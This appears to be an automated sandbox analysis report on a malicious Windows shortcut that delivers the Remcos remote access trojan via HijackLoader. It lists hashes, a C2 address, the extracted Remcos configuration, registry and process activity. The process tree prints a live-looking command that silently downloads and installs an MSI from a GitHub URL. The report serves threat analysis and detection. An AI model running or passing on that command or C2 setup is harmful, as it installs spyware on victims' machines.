Analysis
- max time kernel
148s - max time network
151s - platform
windows10-2004_x64 - resource
win10v2004-20250217-en - resource tags
arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system - submitted
18/02/2025, 14:32
Static task
static1
Behavioral task
behavioral1
Sample
ThePredictor7.3.8 Launcher.tmp.lnk
Resource
win7-20241010-en
windows7-x64
6 signatures
150 seconds
Behavioral task
behavioral2
Sample
ThePredictor7.3.8 Launcher.tmp.lnk
Resource
win10v2004-20250217-en
windows10-2004-x64
22 signatures
150 seconds
General
- Target ThePredictor7.3.8 Launcher.tmp.lnk
- Size 1KB
- Sample250218-rwdy2a1ran
- SHA256 420a17938095a53a781bf0f48a8ba394c16a974a076794fc65cb78c0a89a563f
- MD5 63b4ae48bfc52db08f3ad1008acff185
- SHA1 a2affc5d7b5211f97142c0def7ad9c430119e0b2
- SHA512 0c9fafdc316375aa4fd046a3ce485346c179d85092971707b1c61e57022a15e350a06f7f27faa3c9c110540f4161ed20b274f35b5cd4579df8d98f8387e85b4b
- MD5 SHA1 SHA512
Malware Config
Extracted
Family
-
remcos
Botnet
-
v2
C2
-
185.157.162.126:1995
Attributes
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
qsdazeazd-EL00KX
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
- Detects HijackLoader (aka IDAT Loader) 1 IoCs
resource yara_rule behavioral2/files/0x0003000000022a02-37.dat family_hijackloader - HijackLoader
HijackLoader is a multistage loader first seen in 2023.
- Hijackloader family
- Remcos family
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation cmd.exe Key value queried \REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\Control Panel\International\Geo\Nation EHttpSrv.exe - Executes dropped EXE 1 IoCs
pid Process 1144 EHttpSrv.exe - Loads dropped DLL 3 IoCs
pid Process 1144 EHttpSrv.exe 1144 EHttpSrv.exe 2428 EHttpSrv.exe - Use of msiexec (install) with remote resource 1 IoCs
pid Process 4488 msiexec.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\EHttpSrv = "\"C:\\Users\\Admin\\AppData\\Roaming\\IXXinstall\\EHttpSrv.exe\"" msiexec.exe - Blocklisted process makes network request 2 IoCs
flow pid Process 2 1168 msiexec.exe 4 1168 msiexec.exe - Enumerates connected drives 3 TTPs 23 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
description ioc Process File opened (read-only) \??\V: msiexec.exe File opened (read-only) \??\W: msiexec.exe File opened (read-only) \??\B: msiexec.exe File opened (read-only) \??\N: msiexec.exe File opened (read-only) \??\Q: msiexec.exe File opened (read-only) \??\T: msiexec.exe File opened (read-only) \??\U: msiexec.exe File opened (read-only) \??\S: msiexec.exe File opened (read-only) \??\X: msiexec.exe File opened (read-only) \??\Y: msiexec.exe File opened (read-only) \??\K: msiexec.exe File opened (read-only) \??\L: msiexec.exe File opened (read-only) \??\M: msiexec.exe File opened (read-only) \??\O: msiexec.exe File opened (read-only) \??\R: msiexec.exe File opened (read-only) \??\Z: msiexec.exe File opened (read-only) \??\H: msiexec.exe File opened (read-only) \??\I: msiexec.exe File opened (read-only) \??\J: msiexec.exe File opened (read-only) \??\P: msiexec.exe File opened (read-only) \??\A: msiexec.exe File opened (read-only) \??\E: msiexec.exe File opened (read-only) \??\G: msiexec.exe - Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
flow ioc 3 raw.githubusercontent.com 4 raw.githubusercontent.com - Suspicious use of SetThreadContext 2 IoCs
description pid Process procid_target PID 1144 set thread context of 388 1144 EHttpSrv.exe 94 PID 388 set thread context of 2428 388 cmd.exe 101 - Drops file in Windows directory 6 IoCs
description ioc Process File opened for modification C:\Windows\Microsoft.NET\Framework64\v4.0.30319\ngen.log msiexec.exe File opened for modification C:\Windows\Installer\ msiexec.exe File created C:\Windows\Installer\inprogressinstallinfo.ipi msiexec.exe File opened for modification C:\Windows\Installer\MSIB4CA.tmp msiexec.exe File created C:\Windows\Installer\e57b44f.msi msiexec.exe File opened for modification C:\Windows\Installer\MSIB15E.tmp msiexec.exe - Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EHttpSrv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language EHttpSrv.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language WScript.exe - Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-22591836-1183090055-1220658180-1000_Classes\Local Settings EHttpSrv.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 1168 msiexec.exe 1168 msiexec.exe 1144 EHttpSrv.exe 388 cmd.exe 388 cmd.exe - Suspicious behavior: MapViewOfSection 3 IoCs
pid Process 1144 EHttpSrv.exe 388 cmd.exe 388 cmd.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeShutdownPrivilege 4488 msiexec.exe Token: SeIncreaseQuotaPrivilege 4488 msiexec.exe Token: SeSecurityPrivilege 1168 msiexec.exe Token: SeCreateTokenPrivilege 4488 msiexec.exe Token: SeAssignPrimaryTokenPrivilege 4488 msiexec.exe Token: SeLockMemoryPrivilege 4488 msiexec.exe Token: SeIncreaseQuotaPrivilege 4488 msiexec.exe Token: SeMachineAccountPrivilege 4488 msiexec.exe Token: SeTcbPrivilege 4488 msiexec.exe Token: SeSecurityPrivilege 4488 msiexec.exe Token: SeTakeOwnershipPrivilege 4488 msiexec.exe Token: SeLoadDriverPrivilege 4488 msiexec.exe Token: SeSystemProfilePrivilege 4488 msiexec.exe Token: SeSystemtimePrivilege 4488 msiexec.exe Token: SeProfSingleProcessPrivilege 4488 msiexec.exe Token: SeIncBasePriorityPrivilege 4488 msiexec.exe Token: SeCreatePagefilePrivilege 4488 msiexec.exe Token: SeCreatePermanentPrivilege 4488 msiexec.exe Token: SeBackupPrivilege 4488 msiexec.exe Token: SeRestorePrivilege 4488 msiexec.exe Token: SeShutdownPrivilege 4488 msiexec.exe Token: SeDebugPrivilege 4488 msiexec.exe Token: SeAuditPrivilege 4488 msiexec.exe Token: SeSystemEnvironmentPrivilege 4488 msiexec.exe Token: SeChangeNotifyPrivilege 4488 msiexec.exe Token: SeRemoteShutdownPrivilege 4488 msiexec.exe Token: SeUndockPrivilege 4488 msiexec.exe Token: SeSyncAgentPrivilege 4488 msiexec.exe Token: SeEnableDelegationPrivilege 4488 msiexec.exe Token: SeManageVolumePrivilege 4488 msiexec.exe Token: SeImpersonatePrivilege 4488 msiexec.exe Token: SeCreateGlobalPrivilege 4488 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe Token: SeRestorePrivilege 1168 msiexec.exe Token: SeTakeOwnershipPrivilege 1168 msiexec.exe - Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 4560 wrote to memory of 3428 4560 cmd.exe 86 PID 4560 wrote to memory of 3428 4560 cmd.exe 86 PID 3428 wrote to memory of 4488 3428 cmd.exe 87 PID 3428 wrote to memory of 4488 3428 cmd.exe 87 PID 1168 wrote to memory of 1144 1168 msiexec.exe 93 PID 1168 wrote to memory of 1144 1168 msiexec.exe 93 PID 1168 wrote to memory of 1144 1168 msiexec.exe 93 PID 1144 wrote to memory of 388 1144 EHttpSrv.exe 94 PID 1144 wrote to memory of 388 1144 EHttpSrv.exe 94 PID 1144 wrote to memory of 388 1144 EHttpSrv.exe 94 PID 1144 wrote to memory of 388 1144 EHttpSrv.exe 94 PID 388 wrote to memory of 2428 388 cmd.exe 101 PID 388 wrote to memory of 2428 388 cmd.exe 101 PID 388 wrote to memory of 2428 388 cmd.exe 101 PID 388 wrote to memory of 2428 388 cmd.exe 101 PID 388 wrote to memory of 2428 388 cmd.exe 101 PID 2428 wrote to memory of 2412 2428 EHttpSrv.exe 102 PID 2428 wrote to memory of 2412 2428 EHttpSrv.exe 102 PID 2428 wrote to memory of 2412 2428 EHttpSrv.exe 102
Processes
-
C:\Windows\system32\cmd.execmd /c "C:\Users\Admin\AppData\Local\Temp\ThePredictor7.3.8 Launcher.tmp.lnk"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4560 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c #Verification660703 & msiexec /i https://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi /qn2⤵
- Suspicious use of WriteProcessMemory
PID:3428 -
C:\Windows\system32\msiexec.exemsiexec /i https://github.com/leinchchanceleinch/jik/raw/refs/heads/main/d.msi /qn3⤵
- Use of msiexec (install) with remote resource
- Suspicious use of AdjustPrivilegeToken
PID:4488
-
-
-
C:\Windows\system32\msiexec.exeC:\Windows\system32\msiexec.exe /V1⤵
- Adds Run key to start application
- Blocklisted process makes network request
- Enumerates connected drives
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1168 -
C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe"C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe"2⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1144 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe3⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:388 -
C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exeC:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe4⤵
- Checks computer location settings
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:2428 -
C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\rwapahgxooklszoknmislsvhn.vbs"5⤵
- System Location Discovery: System Language Discovery
PID:2412
-
-
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Config.Msi\e57b44e.rbs
- Size 10KB
- SHA256 7238e38a39fcc13c1892557401dbb4c2a3f23e528b020e141e61013fb62d59f2
- MD5 ef227d69b204aa189de715fd45425c40
- SHA1 91b3bce299dab815e73ddfdbc71f08c3a0eea4fc
- SHA512 94c6bf9779344a2d4e5a303aa089a14529c0c50e663611a4464781b453caaf64204b2a7f53465c4433bdb424ec1cdee19a0ae854ea11959a21dca7f750e950fa
- SSDEEP 192:iEzltd9dN9JfNube7kiOSYjpGOIZDSYjpGOlqeZQBMKvcJ9DFLpD8TrVw9SBZWqo:iEzltd9dN9tNujSYjpGfDSYjpGc/KPjw
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\49a1e2ad
- Size 1.0MB
- SHA256 3029da381c2bb873afea2e9c3b0082f401b3df9ad49ae371483791ece4e00be1
- MD5 6b98caf24ae059c9caa14ee13469f244
- SHA1 593954645357dc75a5bc487b1deaa5f475126e32
- SHA512 7658573d02328e7b63fc63fcf37a11df90aff1a05c48bd5af314ee4cc81d4edfb2c802ab8560e2c86b0db13163a02031826e96a2b5954af592998a4a4c23adb3
- SSDEEP 24576:KnIirf/FFRpaY+wYJl/38ha7cVLMDM6n0jjAVRXXsiG:wlb/FFRpaH137Vn0jjAVRsiG
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Local\Temp\rwapahgxooklszoknmislsvhn.vbs
- Size 536B
- SHA256 a5d3915feffbf5e1f348c3e4da3e7d352fd86c29061db30249bb07ea20c9cf27
- MD5 3c7ebd5c6482049a6ae46a7024ce06ae
- SHA1 17ba241ab36f9fe854fb1cb725ee9beedef977a5
- SHA512 628c4dda659d4cd98e291121e2833b54f4b384502196dfbb187c5472d3fa0a3ddc2f2c14c46d018deae5721746619bf72ee145e5b2ce6eee71867f9f032973ac
- MD5 SHA1 SHA512
- Path C:\Users\Admin\AppData\Roaming\IXXinstall\EHttpSrv.exe
- Size 20KB
- SHA256 effa6fcb8759375b4089ccf61202a5c63243f4102872e64e3eb0a1bdc2727659
- MD5 9329ba45c8b97485926a171e34c2abb8
- SHA1 20118bc0432b4e8b3660a4b038b20ca28f721e5c
- SHA512 0af06b5495142ba0632a46be0778a7bd3d507e9848b3159436aa504536919abbcacd8b740ef4b591296e86604b49e0642fee2c273a45e44b41a80f91a1d52acc
- SSDEEP 384:Damtvzlx5v02RIDauMTnxOn6sGCYJLW7wycJbi6jc:D7Jv0qpukxO6s6Lhbimc
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\IXXinstall\MFC80U.DLL
- Size 1.0MB
- SHA256 a2ac851f35066c2f13a7452b7a9a3fee05bfb42907ae77a6b85b212a2227fc36
- MD5 686b224b4987c22b153fbb545fee9657
- SHA1 684ee9f018fbb0bbf6ffa590f3782ba49d5d096c
- SHA512 44d65db91ceea351d2b6217eaa27358dbc2ed27c9a83d226b59aecb336a9252b60aec5ce5e646706a2af5631d5ee0f721231ec751e97e47bbbc32d5f40908875
- SSDEEP 12288:wsaHmJ//R12t2PdMvWxMIQ1zoKyK0ivyHCJKjswl/KY6oQy3AmgVk2YDFpR7m81H:KHmJ+tKtxMIQNmCcjswl/KYh/2YFnb
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\IXXinstall\audiogram.tif
- Size 877KB
- SHA256 ed1389002cdf96c9b54de35b6e972166ee3296d628943fd594a383e674c5cba6
- MD5 5124236fd955464317fbb1f344a1d2f2
- SHA1 fe3a91e252f1dc3c3b4980ade7157369ea6f5097
- SHA512 2b2ac23244b16f936ef9a4049586f58c809fcc4391a56390cc5db2e8d96140001e0b977680ed1d8b0ab9c410e865a880209e22add8d42e563dc40bc91236b252
- SSDEEP 24576:huxSUG0FCq7vlCaw416/GCvEowni/F9jXR54:MRJFCq7vl6zdj2
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Users\Admin\AppData\Roaming\IXXinstall\http_dll.dll
- Size 1.9MB
- SHA256 b0d665cb466e10ef90e1d79a39cb655ebe785d0cefc074f7a22d04936b681879
- MD5 fe47e255c704b20cb20c8ed93ec94d47
- SHA1 ed7d26624b3cfaa72cf7d3bc59d26845fb84247a
- SHA512 55813a4b755773f98991b47294fed03b23d5bee9af3ef98727b7345882fe0d9976546f46847fbc30119e7c62ce7ee8ae21f54065922041cf8d42364e607bc1c0
- SSDEEP 49152:TxG3VWOYnHJVGbzOaufeY7ENBZBWAwPJ7YrVKG:rYO/feY7E3/kdK
- MD5 SHA1 SHA512 SSDEEP
- Path C:\Windows\Installer\MSIB15E.tmp
- Size 2.9MB
- SHA256 f286d2b89eaebb2e1e6e23a44bc92dae7c058348286810549f4c7514c9ea61ad
- MD5 ae5b94abf028388af1454ed76806cc6f
- SHA1 ef013c7eec6fc6c14ccd414b5eb87abf1476566a
- SHA512 b88c3c160b68b0bdc03780a6848001aef7baa5532b815071eb4f26ff1caa87f71b2401b0c507db5389d14517310bae758aaa17f6fe7aa508f2de38cdbcac1fe2
- SSDEEP 49152:TL51ahTWxFOlm43he+4Xkt1i1XkIZ9fm5urK7olHgnIxQQ6brit:p8h8ME4xr461ckZPoxgnsSa
- MD5 SHA1 SHA512 SSDEEP